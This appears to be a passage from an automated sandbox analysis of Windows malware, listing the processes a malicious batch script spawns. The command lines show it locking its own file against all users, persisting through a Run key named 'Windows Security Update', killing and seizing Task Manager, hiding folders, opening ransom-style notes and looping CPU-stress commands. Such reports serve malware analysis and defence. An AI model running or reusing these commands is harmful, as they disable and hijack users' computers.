        
        icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
        32⤵
        Possible privilege escalation attempt
        
        PID:7072
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
        32⤵
        Modifies file permissions
        
        PID:1284
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
        32⤵
        Modifies file permissions
        
        PID:6464
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
        32⤵
        
        PID:6448
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe
        32⤵
        
        PID:6276
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\flare_warning.txt"
        32⤵
        Opens file in notepad (likely ransom note)
        
        PID:6480
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
        32⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6196
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
        32⤵
        
        PID:6948
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
        32⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7092
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
        32⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:7204
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
        32⤵
        Modifies file permissions
        
        PID:7220
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
        32⤵
        Modifies file permissions
        
        PID:7232
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
        32⤵
        
        PID:7404
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
        32⤵
        
        PID:7436
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
        32⤵
        
        PID:7532
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Users\Admin\Desktop\LPT2"
        32⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:7548
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\LPT2\Fixes.txt"
        32⤵
        Opens file in notepad (likely ransom note)
        
        PID:7572
        
        C:\Windows\system32\cscript.exe
        
        cscript //nologo C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs
        32⤵
        
        PID:7588
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /min C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        33⤵
        
        PID:7640
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        34⤵
        
        PID:7868
        
        C:\Windows\system32\msg.exe
        
        msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
        35⤵
        
        PID:8072
        
        C:\Windows\system32\net.exe
        
        net session
        35⤵
        
        PID:8104
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        36⤵
        
        PID:8116
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        35⤵
        Kills process with taskkill
        
        PID:8136
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\taskmgr.exe
        35⤵
        
        PID:7336
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\SysWOW64\taskmgr.exe
        35⤵
        
        PID:7380
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
        35⤵
        Modifies file permissions
        
        PID:7524
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
        35⤵
        
        PID:7540
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h +r "C:\Windows\System32\flare.bat"
        35⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:7504
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
        35⤵
        Modifies file permissions
        
        PID:7600
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
        35⤵
        
        PID:7616
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
        35⤵
        
        PID:7748
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
        35⤵
        
        PID:8140
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe
        35⤵
        
        PID:7468
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\flare_warning.txt"
        35⤵
        Opens file in notepad (likely ransom note)
        
        PID:7592
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
        35⤵
        
        PID:7404
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
        35⤵
        Modifies file permissions
        
        PID:8188
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
        35⤵
        
        PID:7164
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
        35⤵
        Modifies file permissions
        
        PID:7540
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
        35⤵
        
        PID:8188
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
        35⤵
        
        PID:8028
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
        35⤵
        Possible privilege escalation attempt
        
        PID:7724
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
        35⤵
        
        PID:7332
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
        35⤵
        Modifies file permissions
        
        PID:7940
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Users\Admin\Desktop\LPT2"
        35⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:7672
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\LPT2\Fixes.txt"
        35⤵
        Opens file in notepad (likely ransom note)
        
        PID:7352
        
        C:\Windows\system32\cscript.exe
        
        cscript //nologo C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs
        35⤵
        
        PID:8116
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /min C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        36⤵
        
        PID:7688
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        37⤵
        
        PID:8244
        
        C:\Windows\system32\msg.exe
        
        msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
        38⤵
        
        PID:8424
        
        C:\Windows\system32\net.exe
        
        net session
        38⤵
        
        PID:8444
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        39⤵
        
        PID:8456
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        38⤵
        Kills process with taskkill
        
        PID:8720
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\taskmgr.exe
        38⤵
        Possible privilege escalation attempt
        
        PID:8888
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\SysWOW64\taskmgr.exe
        38⤵
        
        PID:8908
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
        38⤵
        
        PID:8924
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
        38⤵
        
        PID:8936
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h +r "C:\Windows\System32\flare.bat"
        38⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:8472
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
        38⤵
        Modifies file permissions
        
        PID:8464
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
        38⤵
        Possible privilege escalation attempt
        
        PID:8308
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
        38⤵
        Possible privilege escalation attempt
        
        PID:8320
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
        38⤵
        
        PID:8372
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe
        38⤵
        
        PID:7892
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\flare_warning.txt"
        38⤵
        Opens file in notepad (likely ransom note)
        
        PID:7844
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
        38⤵
        Possible privilege escalation attempt
        
        PID:7496
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
        38⤵
        
        PID:5652
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
        38⤵
        
        PID:8912
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
        38⤵
        
        PID:8484
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
        38⤵
        
        PID:8556
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
        38⤵
        
        PID:6476
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
        38⤵
        Modifies file permissions
        
        PID:7332
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
        38⤵
        
        PID:8260
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
        38⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:9032
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Users\Admin\Desktop\LPT2"
        38⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:7240
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        35⤵
        
        PID:8388
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        35⤵
        
        PID:8400
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        35⤵
        
        PID:8608
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        35⤵
        Delays execution with timeout.exe
        
        PID:8616
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        35⤵
        
        PID:9100
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        35⤵
        
        PID:8260
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        35⤵
        
        PID:8740
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        35⤵
        Delays execution with timeout.exe
        
        PID:8724
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        32⤵
        
        PID:7860
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        32⤵
        
        PID:7876
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        32⤵
        
        PID:8164
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        32⤵
        
        PID:8172
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        32⤵
        
        PID:8124
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        32⤵
        
        PID:7916
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        32⤵
        
        PID:8096
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        32⤵
        
        PID:8156
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        32⤵
        
        PID:8116
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        32⤵
        
        PID:8200
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        32⤵
        
        PID:8644
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        32⤵
        
        PID:8696
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        32⤵
        
        PID:9036
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        32⤵
        
        PID:9060
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        32⤵
        
        PID:8820
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        32⤵
        
        PID:8808
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        29⤵
        
        PID:6912
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        29⤵
        
        PID:6924
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        29⤵
        
        PID:6288
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        29⤵
        Delays execution with timeout.exe
        
        PID:6308
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        29⤵
        
        PID:5556
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        29⤵
        
        PID:6508
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        29⤵
        
        PID:6856
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        29⤵
        
        PID:7072
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        29⤵
        
        PID:7288
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        29⤵
        
        PID:7312
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        29⤵
        
        PID:7676
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        29⤵
        
        PID:7684
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        29⤵
        
        PID:7208
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        29⤵
        
        PID:6508
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        29⤵
        
        PID:7300
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        29⤵
        
        PID:7252
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        29⤵
        
        PID:7516
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        29⤵
        Delays execution with timeout.exe
        
        PID:6812
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        29⤵
        
        PID:7380
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        29⤵
        
        PID:6812
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        29⤵
        
        PID:8748
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        29⤵
        
        PID:8756
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        29⤵
        
        PID:8948
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        29⤵
        
        PID:8956
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        29⤵
        
        PID:8780
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        29⤵
        Delays execution with timeout.exe
        
        PID:8940
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:5156
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        
        PID:5952
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:5468
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        Delays execution with timeout.exe
        
        PID:1284
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:5952
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        Delays execution with timeout.exe
        
        PID:6088
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:6784
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        
        PID:6792
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:6396
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        
        PID:6276
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:3012
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        
        PID:6280
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:6732
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        Delays execution with timeout.exe
        
        PID:7164
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:7340
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        
        PID:7364
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:7740
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        
        PID:7796
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:7072
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        Delays execution with timeout.exe
        
        PID:7236
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:8052
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        
        PID:8064
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:7524
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        Delays execution with timeout.exe
        
        PID:8092
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:7664
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        
        PID:8028
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:8852
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        
        PID:8868
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:7908
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        
        PID:8432
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        26⤵
        
        PID:8932
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        26⤵
        
        PID:8480
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:5772
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        
        PID:5780
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:6080
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        
        PID:6088
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:5760
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        Delays execution with timeout.exe
        
        PID:5788
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:6096
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        
        PID:6088
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:5216
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        
        PID:4716
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:6572
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        
        PID:6580
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:6452
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        
        PID:6448
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:6536
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        
        PID:6616
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:6192
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        
        PID:7152
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:7420
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        
        PID:7444
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:7944
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        Delays execution with timeout.exe
        
        PID:7952
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:6436
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        
        PID:7088
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:8084
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        Delays execution with timeout.exe
        
        PID:8072
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:8072
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        
        PID:7908
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:8264
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        
        PID:8288
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:8532
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        Delays execution with timeout.exe
        
        PID:8540
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:9052
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        Delays execution with timeout.exe
        
        PID:9172
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        23⤵
        
        PID:8896
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        23⤵
        
        PID:8504
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:3636
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:3428
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:1528
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:2412
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:5716
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        Delays execution with timeout.exe
        
        PID:5724
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:5160
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        Delays execution with timeout.exe
        
        PID:5204
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:5736
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:5816
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:2028
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:4432
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:5356
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:4592
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:6716
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:6732
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:6404
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:6296
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:6672
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        Delays execution with timeout.exe
        
        PID:6556
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:7032
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        Delays execution with timeout.exe
        
        PID:6812
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:7488
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:7504
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:7732
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:7748
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:7052
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:6588
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:7656
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        Delays execution with timeout.exe
        
        PID:8120
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:6444
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:7632
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:8228
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        
        PID:8296
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:8492
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        20⤵
        Delays execution with timeout.exe
        
        PID:8500
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "for /l %i in (1,1,9999999) do call :cpu_stress"
        20⤵
        
        PID:9120
        
